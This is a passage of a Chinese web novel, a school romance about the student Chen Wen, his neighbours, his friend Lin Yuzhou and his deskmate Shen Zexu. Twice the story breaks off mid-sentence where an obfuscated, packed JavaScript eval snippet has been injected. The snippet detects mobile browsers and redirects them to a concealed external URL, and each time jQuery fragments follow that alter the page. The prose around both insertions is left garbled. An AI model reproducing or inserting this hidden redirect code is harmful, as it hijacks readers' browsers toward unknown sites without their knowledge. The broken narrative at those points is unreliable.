猫眼里框住一方微紫的黄昏。 一个黑长直的女生站在门外,淡蓝色的碎花裙跟着不成调的哼唱轻轻荡漾。 她怀中抱着个歪歪扭扭的蝴蝶结饼干盒,那牛奶的香气四溢,透过门缝进入。 很好吃的样子。 “叮咚——” 门铃发出第二次催促,惊醒了怔忡的陈温。 他下意识抚平衣角不存在的褶皱,金属门把的凉意顺着掌心蔓延。 “你好呀!” 门开的瞬间,女生的眼睛弯成两弯月牙:“我叫江夏,今天刚搬来隔壁。” 陈温这才想起,隔壁独居的老太太上周刚被儿子接去英国。 女生不由分说地将饼干盒塞进陈温怀里,跟他猜的一样,是牛奶的味。 但是这些饼干只有两个是正常的圆形,为什么这样说呢,因为其他的饼干面目全非,什么形状的都有,不知道的还以为是被炮弹轰过。 “这是见面礼,我亲手制作的小饼干,希望你能喜欢。”江夏说,“虽然说它卖相不好,但是它味道挺不错的,你可以尝尝。” 饼干盒还有些温度,显然是刚出炉就被送过来的。 陈温挑了块像花朵的饼干吹了吹,送进嘴里,牛奶甜而不腻的味道融入口腔,陈温眼睛一下就亮起来了,确实好吃! 女生在陈温品尝的时候,朝屋内扫去,里面空荡荡,没有任何人影,安静得有些让人害怕。 “我……我朋友厨艺超棒的!”江夏问:“你吃过晚饭了吗?还没有的话,要不要跟我们一起?” 陈温刚吞下饼干,腹中的鸣响抢先作了回应。 江夏噗嗤笑出声,陈温耳尖腾起的热度比怀里的饼干盒还要烫。 “看来是没有呢。走吧!”女生已经转身,裙角翻起小小的浪花。 江夏热情好客的样子把陈温整不会了,他道:“这样不太好吧。” “没事,多双筷子的事。” 陈温看着那个歪斜的蝴蝶结,再次拒绝的话在舌尖转了个弯。他把饼干盒放在玄关处,便跟了上去。 隔壁房门开了。沙发上坐着一个人,只露出乌黑细长的头发,那人将书倒扣在抱枕上,缓缓站起身来。 “我回来了!陈温,这位是陆挽枝。”江夏蹦跳着将两人距离缩短,她指了指男生,“我拐来的邻居。” 陆挽枝眯起眼睛在江夏脸上停留半秒,替她擦去脸上的面粉,伸出另一只手转向陈温:“幸会。” “打扰了。” 陈温接过那只手,余光瞥见餐桌上的饭菜。 三道都是家常菜,那糖醋排骨的酱汁正沿着瓷盘流淌,勾得人食欲大增。 “多双筷子的事。”两个女生的话竞奇妙地重叠在一起。 暮色恰好漫过最后一寸窗棂,江夏笑着去拿碗筷。 三人在餐桌上交谈。 原来两位女生大学毕业不久,在附近的写字楼找到了工作,分属不同的公司。 一个艺术海报设计,一个普通程序员。 她们在找房子时,恰好看到老太太贴出的出租广告,被这间价格实惠又温馨的小房子吸引,就租了下来。 陈温夹起一块糖醋排骨,问道:“就这样邀请陌生人吃饭,就不怕我是坏人吗?” “确实,这个我没想到。但我带人回家前——可是会看面相的。”江夏用手肘撞了下陆挽枝的肩膀:“再说了遇到坏人,我也不怕!陆晚枝会保护我的!” 她的手指在空中画了个夸张的星形轨迹:“她可是宇宙超级无敌美少女战士!跆拳道黑带二段哦!” 陆挽枝原本正低头摩挲着玻璃杯壁,听到这话,她唇角不自觉地上扬。 陈温问:“黑带二段?” 江夏笑得眼睛弯成月牙,活像只得意洋洋的小狐狸。她拍着陆挽枝的肩膀,语气里满是炫耀:“那当然了!我们家枝枝是最厉害的!” 陈温注意到陆挽枝白皙的耳尖染上淡淡的粉色,但她仍保持着那副清冷的神情。 陆晚枝抬手将散落的发丝别到耳后,露出线条精致的侧脸。 “别听她胡说,我只是业余学过几年。” 江夏白了她一眼:“夸你还不行?” “好好好,行行行。” 陈温这才放下心来,几人聊得很来,但话题渐渐停歇。 不过一会,餐桌上呈现出奇妙的对比——江夏的筷子在米饭上划出浅浅的沟壑,饭菜几乎原封不动;而陈温腮帮子塞得鼓鼓囊囊,活像只拼命囤粮的仓鼠。 陆挽枝的红烧肉炖得恰到好处——嫩、鲜、酱、香。 陈温吃得津津有味,平日里最讨厌的茄子此刻也成了山珍海味。 陆晚枝说:“陈温你慢点,小心噎住了。”她端起茶杯,茶雾后,微蹙的眉头若隐若现。 她的目光转向数米粒的江夏:“你最近瘦得锁骨都能养金鱼了,不多吃点?” 江夏恍然回神,嘴角扯出个微笑:“不要,最近我在减肥呢。” “减什么减?”陆挽枝扫过江夏尖得能戳人的下巴,从砂锅里舀起一勺颤巍巍的肉冻。 “这是胶原蛋白,不会胖。” 本以为江夏会再次拒绝,毕竟哪个励志减肥的人会动恻隐之心,很明显江夏不是那种人,她突然张开大嘴“啊——”了一声,活像只等待投喂的雏鸟。 陈温一抬头,筷子悬在半空,他看见陆挽枝手腕一转,勺子稳稳送进江夏嘴里。 那一瞬间,他似乎还看到陆挽枝眼底闪过一丝得逞的笑意。 酒足饭饱后,陈温主动起身收拾碗筷。三人又闲聊片刻,便告别。 陈温点开许久未玩的手机,通知栏里躺着一条未读消息,发送人显示为“Z”,时间定格在五分钟前。 他点开聊天界面,一看。 「Z:在吗?」 陈温在虚拟键盘敲打了三下后,发送。 「温馨提示:干嘛?」 几乎是发送成功的瞬间,对话框顶端就显示“对方正在输入……”。 「Z:你人呢?干嘛不回我QAQ」 这违和感简直离谱。 一米八七的个头,聊天居然用卖萌颜文字? 「温馨提示:刚刚在忙没看到,怎么了?」 「Z:你觉得送女生钥匙扣怎么样?」 这话说得好笑,想送别人东西不是自己决定的吗?怎么可以让他人决定。 「温馨提示:我不知道,别问我。」 「Z:微笑.jpg」 这个表情包让陈温莫名想到他的新同桌——沈泽许。 他每次偷看这人,沈泽许都回以一个是笑非笑的表情,这让陈温毛骨悚然。 但他又忍不住好奇心问: 「你跟沈泽许熟吗?」 「Z:老熟了,他妈跟我妈认识,我经常去他家玩∩_∩」 「温馨提示:他一直都是那副冰块脸吗?感觉他没什么表情。」 「Z:他从小就这样,跟他爸一个样。」 陈温挑眉——好家伙,原来是座冰山遗传。 他的目标达成,便说: 「我要复习去了,你也早点睡吧。」 「Z:哦~(˙-˙)」 小猫晚安表情包结束对话,他顺手将备注从“Z”改成规规矩矩的“林宇舟”。 陈温是有些懒在身上的,他不想动,但是打扫卧室的工作,还是有必要完成的。 他随便清洁一遍后,按下白色书桌上可移动的台灯,各类复习资料在光线下铺展成整齐的方阵。 陈温的复习方法像他这个人一样——先逐字咀嚼课本内容,再合上书页,在A4纸上默写重点知识点。 那些黑色字迹如同精准的军事布阵,一字不差地复现着教材内容。 理科错题本更是他的秘密武器,每道题旁都附着手写的解题思路,像是给每个错误都贴上了诊断书。 窗外的灯火渐次熄灭,最后只剩下零星几盏。 临近12点,陈温把笔放在一边,一手扶着肩颈轻轻扭动,颈椎发出“咔咔”声。 面对尚未掌握的知识点,他只能刷着历年试题,但他清楚这次考试凶多吉少。 不过,他早已在内心做好了心理准备。 毕竟,成长的道路从来都不是一帆风顺的,而每一次挫折都是通向成功的宝贵经验! 所以先睡觉吧!陈温把书塞回背包,差不多是以蹦得姿势上床。 此时,沈家别墅二楼的书房还亮着灯。 深褐色的实木门被叩响,沈泽许正写着什么东西,闻声,他微微抬头说:“请进。” 门轴转动发出声响。 一个男人端着玻璃杯走进来,他将牛奶放在实木书桌的左上角。 沈泽许合上笔盖,他不动声色地把桌上的纸往怀里收了收。男人瞥见沈泽许的小动作,却没开口询问。 沈泽许拿起杯子,轻抿了一口,牛奶还是温热的。 玻璃杯被他放在一边,片刻,沈泽许问:“妈现在的身体怎么样了?” 男人冷峻的面容松动了一瞬:“医生换了新药方,她昨天说睡得安稳多了。” 书桌上的试卷被沈泽许折起一个角,纸张发出脆弱的抗议声。男生点点头。 宽厚的手掌落在沈泽许肩上,带着熟悉的古龙水气息,混合着淡淡的烟草味。 “你也学习别熬太晚,早点睡。”男人说,“牛奶趁热喝啊。” 他转身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171936|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,又补了一句:“生日快乐。” “嗯。” 当房门再次合上时,沈泽许望着杯口袅袅升起的热气,把怀里的信拿了出来。 …… “咚咚——” 元阿姨的声音像隔着一层毛玻璃传来:“小宝啊,起床了。” 小宝是陈温的乳名,他本人正把脸埋进枕头里,发出一声含糊的应答。 “早餐我放在桌子上了,你阿姨他们晚上回来,我先下楼买点东西去了。” 说完,门外便没了动静。 陈温醒了一半,他迷迷糊糊伸出手在床头摸索起来,拿起机身,亮起的数字让陈温彻底清醒。 6点45了! 陈温的动作像被按了快进键:牙膏泡沫沾在下巴,书包带子勾住了门把手…… 而餐桌上孤零零的煎蛋渐渐失去温度,最终被遗忘在晨光里。 陈温的考场设在9班,他赶到时,教室里已经坐了不少人,大多数都在埋头复习,还有几个趴着补觉。 第一门考语文。 陈温翻开《文言文全解》,做最后的冲刺,可门外的声音打断了他的思路。 “陈温,出来玩啊!”林宇舟双手拢成喇叭状,朝着陈温所在的方向喊道。 男生合上书本,离开教室。 林宇舟倚在走廊栏杆上,阳光给他的发顶镀了层金边。他整个人松弛得像根晒饱太阳的芦苇,全然没有一副要考试的样子。 陈温在林宇舟身边停下脚步,开口问道:“怎么了舟哥?” “没事不能来找你?” “能。”陈温问:“你在哪个考场?” “我在你楼下,3班。” 陈温也趴着栏杆,察觉到花坛边都是坐着复习的学生,又看了看身边人:“你怎么不去复习?” “复习是什么?我考试从来不复习的。”林宇舟说这话时,校服外套被风吹得鼓起来,像只张扬的帆。 但当他提起昨晚的事,帆猛地漏了气,声音也委屈起来:“昨晚我跟你说的事,你有好主意了吗?” 陈温努力回忆昨晚的聊天记录,意识到林宇舟是在问送礼物的事。 “我也拿不准。” 林宇舟叹了口气,自言自语道:“我到底送什么礼物好呢?” “给谁啊?”陈温察觉不对劲,眯起眼睛问。 对方卖了个关子:“不告诉你。” 见状,陈温忍不住调侃:“神神秘秘的,该不会是你的暗恋对象吧?” 听到这话,原本神色还算正常的林宇舟瞬间涨红了脸,结结巴巴地反驳:“才……才不是呢!不和你说了,我复习去了。” “不是说不复习的吗?” 林宇舟落荒而逃的背影撞碎了铃声,只留下陈温在原地若有所思。 考试很快就开始了,陈温活动了下发僵的手指,余光扫过四周——有人枕着试卷酣睡,口水洇湿了文言文阅读题;有人对着选择题掷橡皮,三长一短选最短的古老咒语在考场回荡。 题目难度不算高,陈温写完时还剩20分钟。他放下笔,仔细检查了一遍,确认没有遗漏后,百无聊赖地转着笔,发呆。 “报告!” 教室门被猛地推开,一个满头大汗的男生撑着膝盖大口喘气。 监考老师推了推眼镜,金属镜框在晨光中闪过一道冷光:“考试都开始多久了?你当菜市场呢?” 男生没敢说话,额前的汗珠一颗一颗砸在地板上。 粉笔头在讲台上敲出哒哒的节奏。最终老师侧身让出一条缝,拧起眉头:“赶紧进来。” 这人真是一条好汉,都快要考试才来。 男生经过陈温到后面一排时,陈温闻到他身上有一股淡淡的烟草味。 上午的考试结束,陈温回班上来拿下午考试要用的资料。 不少同学在对答案,动作夸张,气氛热烈。 “陈温,你好了没?一起吃饭啊。”林宇舟揉起陈温的柔软的头发,笑嘻嘻的模样。 “谁答应你一起吃饭了?”陈温瞥了他一眼,顺便低头躲开了林宇舟的摸头。 林宇舟厚脸皮地说:“我啊。” 陈温跟林宇舟又不是很熟,这人怎么老找他相处? 他刚想拒绝,旁边冷不丁多了一个人影。 林宇舟一只手熟练地搭上那人的肩,说:“哎老沈,一起吃饭吗?我不介意多一个人哦。” “嗯。”沈泽许淡淡地应了一声。 “那我们走吧!” 陈温瞥了林宇舟一眼,心道“我还没同意呢”,他说:“我不……” 林宇舟双手合十,撒娇:“赏个脸一起吃嘛,拜托拜托。” “……” 陈温是被林宇舟推着来得食堂,用餐的同学不多,大部分都在教室或宿舍复习。 他们打好饭,找了个角落坐下。 林宇舟边吃边抱怨:“那道题目简直有毒,我怎么知道作者想表达什么啊!” 陈温无奈笑了笑,也不知道怎么安慰,就说:“气大伤身,消消气。” 沈泽许则是沉默地吃着饭,偶尔抬头看一眼两人。 吃到一半,林宇舟余光瞥见一个身影,顿时瞪大了眼睛,陈温顺着他的视线望去,只见一个女生正朝这边过来。 少女穿着一件绿白相间的校服,衣领整齐地翻折着。校服的色调清新明亮,衬得她的肤色更加白皙。 她的眼睛很大,像是两颗晶莹的琥珀,透着一股清澈的光。头发乌黑柔顺,两边的刘海垂落在脸颊两侧。 她把手背在后面,笑着跟林宇舟打招呼:“午好啊。” 林宇舟挠了挠头,结结巴巴地问她:“你、你不是后天才回来吗?” “这不是要开学考吗?提前放我们回来了。”女生咧嘴一笑,露出好看的小酒窝。 沈泽许轻咳了一声,站起身说:“你们慢慢吃,我先走了。” 陈温可不想留下当背景板,跟着沈泽许出去,还回头看了一眼两人。 4. 你笑什么 “好纠结,好紧张^_^ 陈温侧过脸,问:“你怎么出来了?” 沈泽许盯了他一眼:“嗯,吃饱了。”语调平静得像在讨论今天天气很好。 陈温眼角弯成月牙:“是吗?”他故意拖长尾音,用下巴点了点远处还在热聊的两人,“他俩怎么回事?” “不知道。”沈泽许的回答简短得像是被阳光晒干了水分。 “哦哦。”陈温假装不在乎地样子。 “咕噜咕噜”,陈温按住自己作响的肚子,“其实我刚刚光顾着看热闹了,还没有吃饱……” 他还没说完,沈泽许已经迈开步伐往食堂方向走去,“我也是,走吧。” 陈温愣了一下,随即小跑追上去,衣角在风里扬起欢快的弧度。 五分钟后,陈温捧着刚出炉的煎饼果子从小窗口钻出来,金黄的薄脆在阳光下闪闪发亮。他满足地咬了一大口,烫得直哈气,却笑得像个偷到糖的孩子。 沈泽许这人可能真有些什么毛病,又说没胃口,所以什么也没有买。 两人拐进僻静的小亭子,陈温坐在亭椅边沿,两腿随意地晃荡。 煎饼果子的酥脆声在他齿间清脆作响,芝麻粒粘在嘴角也浑然不觉。 沈泽许斜倚在朱漆斑驳的立柱旁,双手交叉在胸前,面上没什么表情。 像盛夏的午后,连树叶都蔫蔫地打着卷儿,蝉鸣声时断时续被热浪蒸得没了力气。 沈泽许突然开口:“你后天有空吗?” 陈温咀嚼的动作顿住了。他眨眨眼,抬起头,喉结上下滚动着咽下食物:“应该有,怎么了?” 两人的视线在空中短暂相撞。沈泽许迅速别过脸,喉间挤出一声:“没事。” 男生的睫毛在阳光下近乎透明,他别过脸时,手不自觉地摩擦手表带。 陈温盯着他泛白的指节,想起被暴雨打落的玉兰花瓣,也是这么蜷曲着边缘,倔强地不肯完全舒展。 他说:“骗人,肯定有什么事。” 休息的预备铃炸响,惊飞了廊檐下的麻雀,沈泽许站直身,拍了拍不存在的灰尘,道:“真没事,该回教室了。” 陈温迈着步子跟在男生身边,脑海里还在循环播放着沈泽许欲言又止的表情。 那家伙明明戴着最擅长伪装的面瘫脸,可那表情和小动作,像根羽毛似的在他心上挠了一整天。 经过一天紧张而又忙碌的考试,陈温拖着仿佛被抽干了所有精力的身体朝家走去。 推开家门,他的嗓子干得冒烟:“我回来……” 声音戛然而止。 玄关处,两双熟悉的皮鞋和高跟鞋整齐地摆着。 男生猛地抬头,客厅沙发上赫然坐着两个身影。 陈林峰笔挺的西装领带还带着风尘仆仆的褶皱,而慕雪阿姨的碎花裙摆像朵温柔的云,垂落在沙发上。 “爸?阿姨?”他眨了眨眼,怀疑是考试太累出现了幻觉。 直到慕雪起身走来,记忆里那股淡淡的果香传来。 “早上元姨不是说过我们要回来了吗?”慕雪说道,在他的鼻尖刮了下,“看把我们小温累的,连这都能忘。” 陈温这才想起早晨元姨确实絮叨过什么,但当时满脑子都是困意在打架,没太在意。 厨房门被拉开,元姨围着熟悉的碎花围裙,手里还举着滴油的锅铲:“哎呦,都愣着干嘛?糖醋排骨要凉啦!” 桌上的红烧肉的酱色油亮亮地反着光,清蒸鱼的眼睛还倔强地瞪着天花板,像是质问陈温怎么能把这么重要的事都忘了。 元姨煮完东西就走了。 陈温的筷子戳着碗里的米饭,问:“你们……能在这待几天?” 陈林峰放下筷子,与慕雪交换了一个眼神:“明天还要出差,下午的飞机。” 餐桌上安静了一瞬。 陈温盯着那碗被自己戳散的饭粒,喉咙发紧。 每次都是这样,匆匆地来,又匆匆地走,到底什么时候才能为他停留。 陈林峰工作的公司的经营状况一直不温不火,没有太大起色。近期因为有个重要的项目,夫妻俩不得不频繁奔波于各地谈生意,几乎没有多少时间能够抽空陪陪孩子。 慕雪柔声打破沉默:“元姨要回老家几天,处理一些事,小温你要不……” “不用。”陈温截断她的话尾,扯了扯嘴角,“我又不是小孩子了。” 他知道慕雪想说什么,不就是想让他跟那个人一起凑合过几天嘛。 广州的那些记忆翻涌上来——那间总晒不到太阳的小客房,阳台上永远晾不干的校服,还有餐桌上多出来的一副碗筷。 “对了,”他忽然抬头,问陈林峰,“你儿子怎么没来?” 陈林峰眉头拧成结,没什么语气地说:“那是你弟弟。” 陈温说:“他连声‘哥’都没叫过我,我也不想……” 话到嘴边突然哽住。他意识到自己活像个无理取闹的孩童,正要开口补救,慕雪将糖醋排骨夹进他碗里说:“好了好了,别吵了。”她紧张地看向两人,“小雨住校了,没空来。” 她又问:“小温,学校里没有人欺负你吧?同学们怎么样?” “还行,就是饭菜没有阿姨做的好吃。”陈温咀嚼着,排骨甜得发苦。 上次留下的淤青退了不少,但某些东西像根刺,始终扎在肉里。 慕雪说:“要和同学好好相处,别像上次那样……” 陈温撇了撇嘴:“那是他们先开始的。” “好了!”陈林峰提高了点音量,“孩子健健康康的就好了,之前的事就不要提了。” 慕雪的手悬在半空,最终缓缓收回:“我就是想关心一下小宝。” “我吃饱了,爸,阿姨慢慢吃……”陈温扒了几口饭,用手背随便擦了擦嘴。 慕雪见陈温骤然起身时撞歪的椅子,看着少年单薄背影消失在转角,睫毛垂下来投下一片阴影:“他最近是不是……” 陈林峰盯着汤面上凝结的油花,仰头灌下一大口。 转角处传来“砰”的关门声,像记闷雷砸在每个人心上。 第二天,考试结束的铃声划破沉闷的空气,走廊瞬间沸腾起来。 有人欢呼着把课本抛向天花板,有人抓着头发哀嚎“最后一道题到底选B还是C”,声浪裹挟着青春特有的躁动,在空气里肆意流淌。 陈温慢悠悠地收拾着笔袋,余光瞥见窗外。 桂花树的影子正斜趴在走廊地砖上,被来往的鞋子踩碎又拼合。 他背起书包,刚走出教室,视线就被走廊拐角那处那道身影攫住。 沈泽许站在不远处,逆着光。他左手紧攥着什么,指节绷得发白,右手捏紧校服拉链。 一阵微风掠过,将他额前的刘海吹得凌乱,可他浑然不觉,像是凝固在琥珀里的昆虫。 陈温眯起眼睛三两步蹿过去,掌心重重拍在他肩上:“同桌,考傻了?站这儿当雕塑呢?” 沈泽许猛地一颤,转身时带起的气流拂过陈温的鼻尖。 他睫毛快速眨动了两下,喉结滚动着,将手里攥着的纸片塞过来:“这个……给你。” 陈温捏着纸片一角,触感像是握住了一只垂死的蝴蝶翅膀:“这是什么?” 纸片上有泛黄的折痕层层叠叠,像记录着某个被反复打开又合拢的夏天。 沈泽许的耳廓红得惊人,血管在薄皮下突突跳动。他盯着消防栓上模糊的倒影,说:“打开看看就知道了。” 就在陈温即将展开折痕的刹那—— “陈温!沈泽许!” 身后就传来林宇舟标志性的大嗓门。 陈温也不知道他为什么要紧张,像做了错事隐藏东西似地把卡片塞进校服口袋,动作快得差点撕破纸角。 布料下,那薄薄的纸片变得滚烫,像是揣了一小块正在融化的太阳。 “哟~你们偷偷摸摸的干什么呢?”林宇舟从后面勾住两人的肩膀,眼睛笑成两道弯月,“走,你舟哥心情好,请你们喝奶茶!” 接着,林宇舟就跟一只兴奋的大型犬,拽着两人七拐八拐,最后停在一家红色招牌的奶茶店前。 “就这家!”林宇舟把胸脯拍得“砰砰”响,“他家的芋泥波波能让人原地升天——”话没说完就被自己的口水呛到,咳得满脸通红。 陈温见这活宝卖力推销,忍不住笑出声:“行吧,那就试试。” 沈泽许则是一副无所谓的态度。 林宇舟熟门熟路地朝柜台比了个手势:“老规矩,三杯——”他突然卡壳,回头戳沈泽许,“老沈,还是冰美式不加糖对吧?” “换一个吧。”沈泽许的视线黏在陈温后脑勺上,“你喝什么?” 陈温正仰头看菜单,道:“杨枝甘露吧,半糖少冰。” “四季春,半糖少冰。”沈泽许接得飞快。 林宇舟的眉毛差点飞进发际线:“卧槽?沈少爷居然不喝中药了?”他凑近沈泽许耳边压低声音,“该不会是有人嫌你苦吧——” 林宇舟话没说完就被肘击了,明明没多大力,他却龇牙咧嘴的。 “少管。”沈少爷说。 吸管戳破塑封膜,陈温杯底的西柚粒像小鱼般窜上来。 他小口啜着,余光见沈泽许盯着他自己的奶茶杯发呆。 那人明明点了同样的甜度,却连吸管包装都没拆。 林宇舟吸了一大口奶茶,满足地咂咂嘴:“爽!” “叮铃叮铃——” 他的手机响了,林宇舟看了一下屏幕,脸色微变:“那个……我有点急事得先走一步了,你们俩慢慢喝啊。” 他抓起喝了一半的奶茶就往外冲,不管陈温怎么叫,都没拦住他。 人一离开,气氛一下子变得微妙起来,两人靠在角落喝奶茶,书包放在一堆。 陈温单手插兜,手指触碰到那张卡片,粗糙的纸缘刮蹭着掌心的纹路,泛起痒意。 他张了张嘴,话语在舌尖打了个转。 “沈同学!” 甜腻又熟悉的香水味闯入陈温到鼻尖,带向日葵发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171937|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡的女生像片樱花般飘到两人面前。 沈泽许语气淡淡:“怎么了?” “好巧啊,在这里都可以遇见你。”少女将粉红信封和饮料往前一递,“我请你喝杯燕麦拿铁,怎么样?” 陈温呆呆地看着两人,手中的动作一顿,他看到沈泽许的眉头蹙起,说:“我不喝加糖的拿铁。” “啊?好吧……”女生明白了对方的意思,有些红了眼眶。她失落地离开,书包带勾住了椅背,整个人失去平衡,一个踉跄,向前扑去。 拿铁在空中划过,褐色的液体像慢镜头般泼洒开来。 “小心!” 陈温一个箭步冲上前,拽住女生的手腕,没让她摔在地上,飞溅的拿铁在陈温到袖口处绽开星星点点的污渍。 “对不起,对不起!”女生慌乱地稳住身形,连连道歉。 她踉跄着刚站稳,扎马尾的同伴就冲了过来。她手忙脚乱掏着纸巾,眼睛死死瞪着沈泽许,眼刀快把人钉在墙上。 活像这场意外全是他的错。 她说:“你怎么回事,还好吗?” 女生指了指脚踝:“我还好,就是这里有点疼。” “走我们去医务室。” 等两人的人影消失在街上,陈温才发觉沈泽许还僵在原地一动不动。 那拿铁大部分都泼向了他的裤腿,深咖色的水痕从大腿蔓延到膝盖,校服布料湿漉漉地贴在皮肤上。 那模样看起来要多狼狈有多狼狈。 “你……”陈温说,“裤子湿透了。” “嗯。”沈泽许的声音像被砂纸磨过,他整个人像只被暴雨淋懵的鹤。 陈温鬼使神差地开口:“我家就在后面的小区,要不去我家里吧。”说完自己都愣住了,急忙补充:“就是我家有替换的裤子!” 也许是实在没有别的办法了,也许是不好意思拒绝对方,也许是被陈温的真诚所打动。沈泽许犹豫了片刻后,应道:“好。” 电梯的金属壁映出两个模糊的影子,这电梯是这前年装的。 听说是有人的儿子发财了,但老人家不舍得这栋房子,他就出资修的电梯。 以前是那种老式楼梯的。 陈温盯着不断跳动的楼层数字,意识到这是第一次有人跟他一起回家,也是第一次带同班同学回家。 “嘀——”电子锁开了。 陈温对里面喊:“我回来了。” 推开门,踏入屋内。 “你等一下。”他踢掉鞋子,快速换上拖鞋,也给沈泽许随便找了一双,让他进来。 “浴室在那边,我找条裤子给你。” 衣柜门发出不堪重负的吱呀声,陈温在叠得乱七八糟的衣物堆里翻找,终于拽出一条深灰色运动裤——去年买的,对他来说大了一号,裤脚还留着没剪的吊牌。 “可能……”他把裤子递给沈泽许时,不小心碰到对方手,排斥般缩了回来,“会有点短,不介意吧?” 沈泽许接过裤子,面色如常:“我都行。” 男生进了浴室,陈温长舒出一口气。 他扯了扯被咖啡浸湿的袖口,布料黏在皮肤上的触感让人不适。他回卧室换上衣,全然没注意到浴室门没有关好,门缝还留着道暧昧的间隙。 陈温换好干净的衬衫,拎着脏衣服出来,发现浴室门半敞着,而客厅没有沈泽许的人影。 “奇怪了,沈泽许人呢?这么快就换好了?”他嘀咕着迈进浴室,准备将脏衣服搁在衣篮里。 陈温推门的瞬间,视线猝不及防撞见沈泽许弯着腰的背影——男生没穿上衣,弓起的脊梁骨在雾气中若隐若现,像一截白玉雕琢的桥拱。 运动裤确实短了一截,露出线条凌厉的脚踝,上面还挂着颗将坠未坠的水珠。 “砰!”陈温一把关上门,用后背抵住门板,不知所措地靠在墙上。 他家的浴室门经常不好关紧,动不动就会松开,要在关门时,握住门把手不动几秒才行。他忘记跟沈泽许说了! 陈温感觉自己的耳朵很热,脑内疯狂刷屏:这门这么又没关好……都是男生怕什么看又不会少块肉。那我为什么要跑…… “怎么了?”门缝里探出半个脑袋,沈泽许应该是洗了会澡,水珠顺着脖颈滑进松垮的领口。 上衣还是校服,裤子则是他给的运动裤。 “没!”陈温的声调陡然拔高,紧张地吞咽口水,“我就是……就是……” 陈温支支吾吾半天,“就是”不出什么。 身前传来一声几不可闻的轻笑。陈温猛地抬头,恰好捕捉到沈泽许唇角转瞬即逝的弧度。 他一下就怒了。 “沈泽许!”陈温声音里带着炸毛小猫般的恼意,“你笑什么!?” 陈温的质问其实不痛不痒,而沈泽许微微偏头,唇角勾起一个介于天真与狡猾之间的弧度,像只偷到鱼却假装无辜的猫。 他背靠着门框,潮湿的衣服贴在腰际,隐约透出少年人极好的轮廓。 “我没笑啊。” 5. 我看不见了 “我没笑啊。” 沈泽许神色坦然,那张轮廓分明的脸上看不出半点破绽,连睫毛垂落的角度都恰到好处,仿佛刚才那抹笑意只是陈温的错觉。 但陈温可不信,他心里翻了个白眼:呵,装,继续装。 他刚想回怼,就见沈泽许的目光直直地落过来:“加个联系方式吧,这样我也方便把裤子还给你。” 那语调像是掺了蜜,尾音微微上扬,带着点若有似无的蛊惑。 陈温可不吃这一套,他双手抱胸,挑眉看对方:“哦?你说给就给?我不给。” 沈泽许不为所动,唇角勾起一抹淡淡的弧度:“不可以吗?” 短短四个字,被他念得又轻又软,像是羽毛尖儿扫过耳廓,带着点撒娇似的无辜,莫名让陈温心尖一颤。 等他回过神来,手机已经递了出去,微信界面明晃晃地显示着“已发送好友申请”。 “……” 陈温低头看了看手机,又抬头看了看沈泽许那张得逞后含笑的脸,心里一阵懊恼。 自己怎么就这么没出息?? 沉默了三秒后,他最终认命般叹了口气,在心里默默记仇:敌人太狡猾了。 沈泽许的目光一直没从他脸上移开,眼底像是藏着什么晦暗不明的情绪。 还没等陈温想明白,对方忽然俯身——一个轻如落羽的吻,落在了他的额头上。 只听见“嗡”了一声,陈温大脑瞬间宕机。 他僵在原地,眼睛睁得很大,觉得心跳声大得像是要震破耳膜。脸颊以肉眼可见的速度烧了起来,从耳根一路红到脖颈。 周围的空气仿佛全被抽走,只剩下沈泽许近在咫尺的呼吸,和他身上那淡淡的茉莉香。 陈温张了张嘴,喉咙却干涩得发不出声音,满脑子只剩下一个念头在疯狂刷屏: 他在干嘛? 他在干嘛? 他在干嘛??! 在陈温愣神时,沈泽许已经直起身,神色如常,仿佛刚才的举动再自然不过。 “谢谢。” 谢什么啊!! 陈温在心里咆哮,脸上的表情却还凝固在呆滞状态。 他的CPU都快烧干了。谢什么?谢我站着不动让他亲?还是谢我没把他推开?我们俩都是男的啊!这到底是什么情况?这对吗啊喂!!! “你……”陈温终于找回了自己的声音,“你刚才在干什么?” 沈泽许刚准备开口,就听见门铃响了。 “陈温,陈温你在家吗?我是江夏啊,我跟陆晚枝买了一堆烤串,一起吃吗?” 陈温浑身一僵,慌忙推开沈泽许,手忙脚乱地整理了下衣领,有些嫌弃地擦了擦额头,三步并作两步冲到门口。 “来了来了。” 门轴转动。屋外,江夏今天穿着牛仔背带裤,手里举着滋滋冒油的烤串,香气瞬间涌了进来。她身后的陆晚枝提着饮料,休闲服袖口还沾着孜然粉。 “进来吧。”陈温侧过身,耳尖还泛着红,却故作镇定地朝客厅抬起下巴,“这是我同班同学——沈泽许。” 江夏的目光在陈温发烫的耳尖跟沈泽许奇怪的穿搭之间转了个来回,露出恍然大悟的表情,轻咳了一声:“你好,我叫江夏。” 她用手肘捅了捅身旁的陆晚枝:“这位是陆晚枝!很高兴认识你哈。” 陆晚枝正从塑料袋里掏出一大瓶冰可乐,闻言只是微微颔首。 锡纸上的肉串正滋滋冒着油光,香气混着炭火味在空气中弥漫。 江夏凑近了陈温,压低声音:“哎,问问你……朋友,他留不留下来吃?” 陈温有些抵抗,但还是上前询问沈泽许:“你……留下来一起吃吗?” 沈泽许垂眸看他,伸手拂去陈温肩上的灰尘:“好。”指尖若有似无擦过脖颈,激得陈温一个激灵。 他结结巴巴地提醒:“哦。那、那你先跟家里说一声,免得他们担心。” “嗯。”沈泽许轻声应道,随即低头在手机屏幕上敲下几行字。 